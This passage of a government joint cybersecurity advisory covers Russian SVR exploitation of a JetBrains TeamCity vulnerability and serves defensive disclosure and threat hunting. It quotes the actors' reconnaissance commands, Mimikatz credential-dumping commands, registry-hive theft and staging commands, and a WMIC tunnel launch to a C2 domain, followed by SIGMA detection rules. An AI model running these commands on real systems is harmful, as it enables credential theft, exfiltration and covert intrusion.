this may be a malicious insider attack versus +preparing for the startup of a new program. +Identity and Access Management: Recommended Best Practices for Administrators + Monitor general user behaviors in both good and bad terms such as how many +successful access attempts versus unsuccessful, what hours typically worked, whether +remote access allowed, what systems accessed and amounts of data downloaded. + Monitor activity between applications and systems and associated network traffic for +changes in connectivity, level of activity, and types of data. If an attacker is attempting to +move laterally within your network, this may include accesses and traffic that are unusual. + Monitor external traffic that may include new interactions with previously unknown +sites or different types and levels of interactions. Remember that data exfiltration attacks +may be +low and slow + so a change may be small, but ongoing. Be careful to not include this +in an accepted baseline of activity. +TLP:CLEAR +Co-Authored by: +Product ID: AA23-347A +December 13, 2023 +Russian Foreign Intelligence Service (SVR) +Exploiting JetBrains TeamCity CVE Globally +SUMMARY +The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency +(CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), +CERT Polska (CERT.PL), and the UK +s National Cyber Security Centre (NCSC) assess Russian +Foreign Intelligence Service (SVR) cyber actors +also known as Advanced Persistent Threat 29 (APT +29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard +are exploiting CVE-2023-42793 at a +large scale, targeting servers hosting JetBrains TeamCity software since September 2023. +Software developers use TeamCity software to manage and automate software compilation, building, +testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors +with access to that software developer +s source code, signing certificates, and the ability to subvert +software compilation and deployment processes +access a malicious actor could further use to +conduct supply chain operations. Although the SVR used such access to compromise SolarWinds +and its customers in 2020, limited number and seemingly opportunistic types of victims currently +identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar +manner. The SVR has, however, been observed using the initial access gleaned by exploiting the +TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other +steps to ensure persistent and long-term access to the compromised network environments. +To bring Russia +s actions to public attention, the authoring agencies are providing information on the +s most recent compromise to aid organizations in conducting their own investigations and +securing their networks, provide compromised entities with actionable indicators of compromise +(IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR +malicious actions. The authoring agencies recommend all organizations with affected systems that +did not immediately apply available patches or workarounds to assume compromise and initiate threat +hunting activities using the IOCs provided in this CSA. If potential compromise is detected, +administrators should apply the incident response recommendations included in this CSA and report +key findings to the FBI and CISA. +U.S. organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, +contact your local FBI field office or CISA +s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, +please include the following information regarding the incident: date, time, and location of the incident; type of activity; +number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and +a designated point of contact. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or +SOC@cisecurity.org). +This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries +minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to +standard copyright rules, TLP:CLEAR information may be distributed without restrictions. For more information on the Traffic +Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +International Partnership +For a downloadable copy of IOCs, see: +AA23-347A (STIX XML, 77KB) +AA23-347A (STIX JSON, 70KB) +THREAT OVERVIEW +SVR cyber operations pose a persistent threat to public and private organizations + networks globally. +Since 2013, cybersecurity companies and governments have reported on SVR operations targeting +victim networks to steal confidential and proprietary information. A decade later, the authoring +agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, +foreign intelligence, a broad concept that for Russia encompasses information on the politics, +economics, and military of foreign states; science and technology; and foreign counterintelligence. +The SVR also conducts cyber operations targeting technology companies that enable future cyber +operations. +A decade ago, public reports about SVR cyber activity focused largely on the SVR +s spearphishing +operations, targeting government agencies, think tanks and policy analysis organizations, educational +institutions, and political organizations. This category of targeting is consistent with the SVR +responsibility to collect political intelligence, the collection of which has long been the SVR +s highest +priority. For the Russian Government, political intelligence includes not only the development and +execution of foreign policies, but also the development and execution of domestic policies and the +political processes that drive them. In December 2016, the U.S. Government published a Joint +Analysis Report titled +GRIZZLY STEPPE + Russian Malicious Cyber Activity, + which describes the +s compromise of a U.S. political party leading up to a presidential election. The SVR +s use of +spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily +targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report +describing tools and techniques used by the SVR to target embassies in dozens of countries. +Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR +s foreign +intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published +an advisory revealing the SVR +s exploitation of CVEs to gain initial access to networks, and its +deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations +involved in COVID-19 vaccine development. Although not listed in the 2020 advisory, the authoring +agencies can now disclose that the SVR +s WellMess campaign also targeted energy companies. +Such biomedical and energy targets are consistent with the SVR +s responsibility to support the +Russian economy by pursuing two categories of foreign intelligence known as economic intelligence +and science and technology. +In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds +information technology company and its customers to the SVR. This attribution marked the discovery +that the SVR had, since at least 2018, expanded the range of its cyber operations to include the +widespread targeting of information technology companies. At least some of this targeting was aimed +at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments +published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the +Page 2 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +s use of +low and slow + password spraying techniques to gain initial access to some victims +networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments. +In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably +continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a +software development program, the authoring agencies assess the SVR could benefit from access to +victims, particularly by allowing the threat actors to compromise the networks of dozens of software +developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR +operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring +agencies assess the SVR has not yet used its accesses to software developers to access customer +networks and is likely still in the preparatory phase of its operation, having access to these +companies + networks presents the SVR with opportunities to enable hard-to- detect command and +control (C2) infrastructure. +TECHNICAL DETAILS +Note: This advisory uses the MITRE ATT&CK + for Enterprise framework, version 14. See the MITRE +ATT&CK Tactics and Techniques section for a table of the threat actors + activity mapped to MITRE +ATT&CK + tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE +ATT&CK framework, see CISA and MITRE ATT&CK +s Best Practices for MITRE ATT&CK Mapping +and CISA +s Decider Tool. While SVR followed a similar playbook in each compromise, they also +adjusted to each operating environment and not all presented steps or actions below were executed +on every host. +Initial Access - Exploitation +The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September +2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for +bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies +observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high +privileges granting the SVR an advantageous foothold in the network environment. The authoring +agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently +being exploited by the SVR. +Host Reconnaissance +Initial observations show the SVR used the following basic, built-in commands to perform host +reconnaissance [T1033],[T1059.003],[T1592.002]: +whoami /priv +whoami /all +whoami /groups +whoami /domain +nltest -dclist +nltest -dsgetdc +tasklist +netstat +Page 3 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +wmic /node:"""" /user:"""" /password:"""" process list brief +wmic /node:"""" process list brief +wmic process get commandline -all +wmic process get commandline +wmic process where name=""GoogleCrashHandler64.exe"" get commandline,processed +powershell ([adsisearcher]"((samaccountname=))").Findall().Properties +powershell ([adsisearcher]"((samaccountname=))").Findall().Properties.memberof +powershell Get-WmiObject -Class Win32_Service -Computername +powershell Get-WindowsDriver -Online -All +File Exfiltration +Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may +provide insight into the host system +s operating system: +C:\Windows\system32\ntoskrnl.exe to precisely identify system version, likely as a prerequisite +to deploy EDRSandBlast. + SQL Server executable files - based on the review of the post exploitation actions, the SVR +showed an interest in specific files of the SQL Server installed on the compromised systems: + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\secforwarder.dll + Visual Studio files + based on the review of the post exploitation actions, the SVR showed an +interest in specific files of the Visual Studio: + C:\Program Files (x86)\Microsoft Visual +Studio\2017\SQL\Common7\IDE\VSIXAutoUpdate.exe + Update management agent files + based on the review of the post exploitation actions, the +SVR showed an interest in executables and configuration of patch management software: +o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd\bin\httpd.exe +o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd +o C:\ProgramData\GFI\LanGuard 12\HttpdConfig\httpd.conf +Interest in SQL Server +Based on the review of the exploitation, the SVR also showed an interest in details of the SQL Server +[T1059.001],[T1505.001]: +powershell Compress-Archive -Path "C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll","C:\Program Files\Microsoft SQL +Page 4 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll","C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll","C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll" -DestinationPath +C:\Windows\temp\1\sql.zip +SVR cyber actors also exfiltrated secforwarder.dll +Tactics Used to Avoid Detection +To avoid detection, the SVR used a +Bring Your Own Vulnerable Driver + [T1068] technique to disable +or outright kill endpoint detection and response (EDR) and antivirus (AV) software [T1562.001]. +This was done using an open source project called +EDRSandBlast. + The authoring agencies have +observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is +used for controlling and protecting running processes and protecting them from infection. The actors +then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, +executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001]. +In several cases, SVR attempted to hide their backdoors via: +Abusing a DLL hijacking vulnerability in Zabbix software by replacing a legitimate Zabbix DLL +with their one containing GraphicalProton backdoor, +Backdooring an open source application developed by Microsoft named vcperf. SVR modified +and copied publicly available source code. After execution, backdoored vcperf dropped +several DLLs to disc, one of those being a GraphicalProton backdoor, +Abusing a DLL hijacking vulnerability in Webroot antivirus software by replacing a legitimate +DLL with one containing GraphicalProton backdoor. +To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft +OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware +via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated +below: +Privilege Escalation +To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, +NoLMHash registry key modification, and the Mimikatz tool. +The SVR modified the NoLMHash registry using the following reg command: +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v NoLMHash /t +REG_DWORD /d "0" /f +Page 5 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +The SVR used the following Mimikatz commands [T1003]: +privilege::debug +lsadump::cache +lsadump::secrets +lsadump::sam +sekurlsa::logonpasswords +Persistence +The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. +Depending on the privileges the SVR had, their executables were stored in one of following +directories: +C:\Windows\temp +C:\Windows\System32 +C:\Windows\WinStore +The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of +arguments passed to schtasks.exe, which can be found in Appendix B + Indicators of +Compromise. +To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket +Granting Tickets (TGTs) [T1558.001]. +Sensitive Data Exfiltration [T1020] +The SVR exfiltrated the following Windows Registry hives from its victims [T1003]: +HKLM\SYSTEM +HKLM\SAM +HKLM\SECURITY +In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and +then exfiltrated them using a backdoor capability. it used +reg save + to save SYSTEM, SAM and +SECURITY registry hives, and used powershell to stage .zip archives in the C:\Windows\Temp\ +directory. +reg save HKLM\SYSTEM ""C:\Windows\temp\1\sy.sa"" /y +reg save HKLM\SAM ""C:\Windows\temp\1\sam.sa"" /y +reg save HKLM\SECURITY ""C:\Windows\temp\1\se.sa"" /y +powershell Compress-Archive -Path C:\Windows\temp\1\ -DestinationPath +C:\Windows\temp\s.zip -Force & del C:\Windows\temp\1 /F /Q +In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such +as session cookies, browsing history, or saved logins. +SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to +obtain a sensitive Domain information. +Network Reconnaissance +Page 6 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +After the SVR built a secure foothold and gained an awareness of a victim +s TeamCity server, it then +focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using +a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it +launched into memory [T1046]. The SVR executed the following PowerSploit commands: +Get-NetComputer +Get-NetGroup +Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, +pwdlastset, logoncount, badpwdcount" +Get-NetDiDomain +Get-AdUser +Get-DomainUser -UserName +Get-NetUser -PreauthNotRequire +Get-NetComputer | select samaccountname +Get-NetUser -SPN | select serviceprincipalname +Tunneling into Compromised Environments +In selected environments the SVR used an additional tool named, +rr.exe +a modified open source +reverse socks tunneler named Rsockstun +to establish a tunnel to the C2 infrastructure [T1572]. +The authoring agencies are aware of the following infrastructure used in conjunction with +rr.exe +65.20.97[.]203:443 +Poetpages[.]com:8443 +The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation +Command Line (WMIC) [T1047] utility after dropping it to disk: +wmic process call create "C:\Program Files\Windows Defender Advanced Threat +Protection\Sense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31" +Lateral Movement +The SVR used WMIC to facilitate lateral movement [T1047],[T1210]. +wmic /node:"""" /user:""" /password:"""" process call create +""rundll32 C:\Windows\system32\AclNumsInvertHost.dll AclNumsInvertHost"" +The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210]. +It modified Registry using the following reg command: +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v +DisableRestrictedAdmin /t REG_DWORD /d "0" /f +Adversary Toolset +In the course of the TeamCity operation, the SVR used multiple custom and open source available +tools and backdoors. The following custom tools were observed in use during the operation: +Page 7 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +GraphicalProton is a simplistic backdoor that uses OneDrive, Dropbox, and randomly +generated BMPs [T1027.001] to exchange data with the SVR operator. +After execution, GraphicalProton gathers environment information such as active TCP/UDP +connections [T1049], running processes [T1049], as well as user, host, and domain names +[T1590]. OneDrive is used as a primary communication channel while Dropbox is treated as a +backup channel [T1567]. API keys are hardcoded into the malware. When communicating with +cloud services, GraphicalProton generates a randomly named directory which is used to store +infection-specific BMP files - with both commands and results [T1564.001]. Directory name is +re-randomized each time the GraphicalProton process is started. +BMP files that were used to exchange data were generated in the following way: +1. Compress data using zlib, +2. Encrypt data using custom algorithm, +3. Add + string literal to encrypted data, +4. Create a random BMP with random rectangle, +5. And finally, encode encrypted data within lower pixel bits. +While the GraphicalProton backdoor has remained mostly unchanged over the months we have been +tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, +encryption, encoders, and stagers. Two specific variants of GraphicalProton +packaging + are +especially noteworthy + a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start +execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself +within vcperf [T1036], an open-source C++ build analysis tool from Microsoft. +GraphicalProton HTTPS variant + a variant of GraphicalProton backdoor recently introduced +by the SVR that forgoes using cloud-based services as a C2 channel and instead relies on +HTTP request. +To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy +WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files +stager and encrypted binary file that contains further code. +MITRE ATT&CK TACTICS AND TECHNIQUES +See below tables for all referenced threat actor tactics and techniques in this advisory. For additional +mitigations, see the Mitigations section. +Table 1: SVR Cyber Actors ATT&CK Techniques for Enterprise - Reconnaissance +Technique Title +Gather Victim Network +Information: Network Topology +T1590.004 +SVR cyber actors may gather +information about the victim +network topology that can be used +during targeting. +Page 8 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Gather Victim Host Information: +Software +T1592.002 +SVR cyber actors may gather +information about the victim +s host +networks that can be used during +targeting. +Table 2: SVR Cyber Actors + ATT&CK Techniques for Enterprise + Initial Access +Technique Title +Exploit Public-Facing Application +T1190 +SVR cyber actors exploit internetconnected JetBrains TeamCity server +using CVE-2023-42793 for initial +access. +Table 3: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Execution +Technique Title +Command and Scripting +Interpreter: PowerShell +T1059.001 +SVR cyber actors used powershell +commands to compress Microsoft +SQL server .dll files. +Command and Scripting +Interpreter: Windows Command +Shell +T1059.003 +SVR cyber actors execute these +powershell commands to perform +host reconnaissance: + powershell +([adsisearcher]"((samaccountn +ame=))").Findall().P +roperties + powershell +([adsisearcher]"((samaccountn +ame=))").Findall().P +roperties.memberof + powershell Get-WmiObject Class Win32_Service Computername + powershell Get-WindowsDriver +-Online -All +Exploitation for Client Execution +T1203 +SVR cyber actors leverage arbitrary +code execution after exploiting CVE2023-42793. +Page 9 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Hijack Execution Flow: DLL +Side-Loading +T1574.002 +SVR cyber actors use a variant of +GraphicalProton that uses DLL +hijacking in Zabbix as a means to +start execution. +Table 4: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Persistence +Technique Title +Scheduled Task +T1053.005 +SVR cyber actors may abuse +Windows Task Schedule to perform +task scheduling for initial or recurring +execution of malicious code. +Server Software Component: +SQL Stored Procedures +T1505.001 +SVR cyber actors abuse SQL server +stored procedures to maintain +persistence. +Boot or Logon Autostart +Execution +T1547 +SVR cyber actors used +C:\Windows\system32\ntoskrnl.exe +to configure automatic system boot +settings to maintain persistence. +Table 5: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Privilege Escalation +Technique Title +Exploitation for Privilege +Escalation +T1068 +SVR cyber actors exploit JetBrains +TeamCity vulnerability to achieve +escalated privileges. +To avoid detection, the SVR cyber +actors used a +Bring Your Own +Vulnerable Driver + technique to +disable EDR and AV defense +mechanisms. +Account Manipulation +T1098 +SVR cyber actors may manipulate +accounts to maintain and/or elevate +access to victim systems. +Page 10 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Table 6: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Defense Evasion +Technique Title +Obfuscated Files or Information: +Binary Padding +T1027.001 +SVR cyber actors use BMPs to +perform binary padding while +exchange data is exfiltrated to their +C2 station. +Masquerading +T1036 +SVR cyber actors use a variant that +uses DLL hijacking in Zabbix as a +means to start execution (and +potentially provide long-term, hard-todetect access) and a variant that +masks itself within vcperf, an opensource C++ build analysis tool from +Microsoft. +Process Injection +T1055 +SVR cyber actors inject code into AV +and EDR processes to evade +defenses. +Disable or Modify Tools +T1562.001 +SVR cyber actors may modify and/or +disable tools to avoid possible +detection of their malware/tools and +activities. +Hide Artifacts +T1564 +SVR cyber actors may attempt to +hide artifacts associated with their +behaviors to evade detection. +Hide Artifacts: Hidden Files and +Directories +T1564.001 +When communicating with cloud +services, GraphicalProton generates +a randomly named directory which is +used to store infection-specific BMP +files - with both commands and +results. +Table 7: SVR Cyber actors + ATT&CK Techniques for Enterprise: Credential Access +Technique Title +OS Credential Dumping: LSASS +Memory +T1003.001 +SVR cyber actors executed Mimikatz +commands in memory to gain access +to credentials stored in memory. +Page 11 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +OS Credential Dumping: Security T1003.002 +Account Manager +SVR cyber actors used: +privilege::debug +lsadump::cache +lsadump::secrets +lsadump::sam +sekurlsa::logonpasswords +Mimikatz commands to gain access +to credentials. +Additionally, SVR cyber actors +exfiltrated Windows registry hives to +steal credentials. +HKLM\SYSTEM +HKLM\SAM +HKLM\SECURITY +Credentials from Password +Stores: Credentials from Web +Browsers +T1555.003 +In a few specific cases, the SVR +used the SharpChromium tool to +obtain sensitive browser data such as +session cookies, browsing history, or +saved logins. +Steal or Forge Kerberos Tickets: +Golden Ticket +T1558.001 +To secure long-term access to the +environment, the SVR used the +Rubeus toolkit to craft Ticket +Granting Tickets (TGTs). +Table 8: SVR Cyber Actors ATT&CK Techniques for Enterprise: Discovery +Technique Title +System Owner/User Discovery +T1033 +SVR cyber actors use these built-in +commands to perform host +reconnaissance: whoami /priv, +whoami / all, whoami / groups, +whoami / domain to perform user +discovery. +Network Service Discovery +T1046 +SVR cyber actors performed +network reconnaissance using a +mix of built-in commands and +additional tools, such as port +scanner and PowerSploit. +Page 12 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Process Discovery +T1057 +SVR cyber actors use +GraphicalProton to gather running +processes data. +Gather Victim Network +Information +T1590 +SVR cyber actors use +GraphicalProton to gather victim +network information. +Table 9: SVR Cyber Actors ATT&CK Techniques for Enterprise: Lateral Movement +Technique Title +Exploitation of Remote Services +T1210 +SVR cyber actors may exploit remote +services to gain unauthorized access +to internal systems once inside a +network. +Windows Management +Instrumentation +T1047 +SVR cyber actors executed +Rsockstun either in memory or +using Windows Management +Instrumentation (WMI) to execute +malicious commands and +payloads. +wmic process call create +"C:\Program Files\Windows +Defender Advanced Threat +Protection\Sense.exe -connect +poetpages.com -pass M5540sddsf2@34232fsl45t31" +Table 10: SVR Cyber Actors ATT&CK Techniques for Enterprise: Command and Control +Technique Title +Dynamic Resolution +T1568 +SVR may dynamically establish +connections to command-and-control +infrastructure to evade common +detections and remediations. +Protocol Tunneling +T1572 +SVR cyber actors may tunnel +network communications to and +from a victim system within a +separate protocol to avoid +detection/network filtering and/or +enable access to otherwise +unreachable systems. +Page 13 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +In selected environments, the SVR +used an additional tool named, +rr.exe +a modified open source +reverse socks tunneler named +Rsockstun +to establish a tunnel +to the C2 infrastructure. +Table 11: SVR Cyber Actors ATT&CK Techniques for Enterprise: Exfiltration +Technique Title +Automated Exfiltration +T1020 +SVR cyber actors may exfiltrate data, +such as sensitive documents, +through the use of automated +processing after being gathered +during collection. +Exfiltration Over C2 Channel +T1041 +SVR cyber actors may steal data +by exfiltrating it over an existing C2 +channel. Stolen data is encoded +into normal communications using +the same protocol as C2 +communications. +Exfiltration Over Web Service +T1567 +SVR cyber actors use OneDrive +and Dropbox to exfiltrate data to +their C2 station. +INDICATORS OF COMPROMISE +Note: Please refer to Appendix B for a list of IOCs. +VICTIM TYPES +As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC +have identified a few dozen compromised companies in the United States, Europe, Asia, and +Australia, and are aware of over a hundred compromised devices though we assess this list does not +represent the full set of compromised organizations. Generally, the victim types do not fit into any sort +of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, +leading to the assessment that SVR +s exploitation of these victims + networks was opportunistic in +nature and not necessarily a targeted attack. Identified victims included: an energy trade association; +companies that provide software for billing, medical devices, customer care, employee monitoring, +financial management, marketing, sales, and video games; as well as hosting companies, tools +manufacturers, and small and large IT companies. +Page 14 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +DETECTION METHODS +The following rules can be used to detect activity linked to adversary activity. These rules should +serve as examples and adapt to each organization +s environment and telemetry. +SIGMA rules +Presented SIGMA rules target identified operators + behavior patterns and can be used for the threat +hunting against collected logs. +title: Privilege information listing via whoami +description: Detects whoami.exe execution and listing of privileges +author: +references: https://learn.microsoft.com/en-us/windows-server/administration/windowscommands/whoami +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'whoami.exe' +CommandLine|contains: +- 'priv' +- 'PRIV' +condition: selection +falsepositives: legitimate use by system administrator +title: DC listing via nltest +description: Detects nltest.exe execution and DC listing +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'nltest.exe' +CommandLine|re: '.*dclist\:.*|.*DCLIST\:.*|.*dsgetdc\:.*|.*DSGETDC\:.*' +condition: selection +falsepositives: legitimate use by system administrator +title: DLL execution via WMI +description: Detects DLL execution via WMI +author: +references: +date: 2023/11/15 +Page 15 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'WMIC.exe' +CommandLine|contains|all: +- 'call' +- 'rundll32' +condition: selection +falsepositives: legitimate use by software or system administrator +title: Process with connect and pass as args +description: Process with connect and pass as args +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +CommandLine|contains|all: +- 'pass' +- 'connect' +condition: selection +falsepositives: legitimate use of rsockstun or software with exact same arguments +title: Service or Drive enumeration via powershell +description: Service or Drive enumeration via powershell +author: +references: +date: 2023/11/15 +logsource: +category: ps_script +product: windows +detection: +selection_1: +ScriptBlockText|contains|all: +- 'Get-WmiObject' +- '-Class' +- 'Win32_Service' +selection_2: +ScriptBlockText|contains|all: +- 'Get-WindowsDriver' +- '-Online' +- '-All' +condition: selection_1 or selection_2 +Page 16 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +falsepositives: legitimate use by system administrator +title: Compressing files from temp to temp +description: Compressing files from temp\ to temp used by SVR to prepare data to be +exfiltrated +references: +author: +date: 2023/11/15 +logsource: +category: ps_script +product: windows +detection: +selection: +ScriptBlockText|re: '.*Compress\-Archive.*Path.*Windows\\[Tt]{1}emp\\[19]{1}.*DestinationPath.*Windows\\[Tt]{1}emp\\.*' +condition: selection +title: DLL names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific DLL names. +references: +author: +date: 2023/11/15 +logsource: +category: image_load +product: windows +detection: +selection: +ImageLoaded|endswith: +- 'AclNumsInvertHost.dll' +- 'ModeBitmapNumericAnimate.dll' +- 'UnregisterAncestorAppendAuto.dll' +- 'DeregisterSeekUsers.dll' +- 'ScrollbarHandleGet.dll' +- 'PerformanceCaptionApi.dll' +- 'WowIcmpRemoveReg.dll' +- 'BlendMonitorStringBuild.dll' +- 'HandleFrequencyAll.dll' +- 'HardSwapColor.dll' +- 'LengthInMemoryActivate.dll' +- 'ParametersNamesPopup.dll' +- 'ModeFolderSignMove.dll' +- 'ChildPaletteConnected.dll' +- 'AddressResourcesSpec.dll' +condition: selection +title: Sensitive registry entries saved to file +description: Sensitive registry entries saved to file +author: +references: +date: 2023/11/15 +logsource: +Page 17 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +category: process_creation +product: windows +detection: +selection_base: +Image|endswith: +- 'reg.exe' +CommandLine|contains: 'save' +CommandLine|re: '.*HKLM\\SYSTEM.*|.*HKLM\\SECURITY.*|.*HKLM\\SAM.*' +selection_file: +CommandLine|re: '.*sy\.sa.*|.*sam\.sa.*|.*se\.sa.*' +condition: selection_base and selection_file +title: Scheduled tasks names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific scheduled task names +author: +references: +date: 2023/11/15 +logsource: +category: taskscheduler +product: windows +detection: +selection: +EventID: +- 4698 +- 4699 +- 4702 +TaskName: +- '\Microsoft\Windows\IISUpdateService' +- '\Microsoft\Windows\WindowsDefenderService' +- '\Microsoft\Windows\WindowsDefenderService2' +- '\Microsoft\DefenderService' +- '\Microsoft\Windows\DefenderUPDService' +- '\Microsoft\Windows\WiMSDFS' +- '\Microsoft\Windows\Application Experience\StartupAppTaskCkeck' +- '\Microsoft\Windows\Windows Error Reporting\SubmitReporting' +- '\Microsoft\Windows\Windows Defender\Defender Update Service' +- '\WindowUpdate' +- '\Microsoft\Windows\Windows Error Reporting\CheckReporting' +- '\Microsoft\Windows\Application Experience\StartupAppTaskCheck' +- '\Microsoft\Windows\Speech\SpeechModelInstallTask' +- '\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStart' +- '\Microsoft\Windows\Data Integrity Scan\Data Integrity Update' +- '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' +- '\Microsoft\Windows\ATPUpd' +- '\Microsoft\Windows\Windows Defender\Service Update' +- '\Microsoft\Windows\WindowsUpdate\Scheduled Check' +- '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' +- '\Defender' +- '\defender' +- '\\Microsoft\\Windows\\IISUpdateService' +- '\\Microsoft\\Windows\\WindowsDefenderService' +Page 18 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +- '\\Microsoft\\Windows\\WindowsDefenderService2' +- '\\Microsoft\\DefenderService' +- '\\Microsoft\\Windows\\DefenderUPDService' +- '\\Microsoft\\Windows\\WiMSDFS' +- '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCkeck' +- '\\Microsoft\\Windows\\Windows Error Reporting\\SubmitReporting' +- '\\Microsoft\\Windows\\Windows Defender\\Defender Update Service' +- '\\WindowUpdate' +- '\\Microsoft\\Windows\\Windows Error Reporting\\CheckReporting' +- '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCheck' +- '\\Microsoft\\Windows\\Speech\\SpeechModelInstallTask' +- 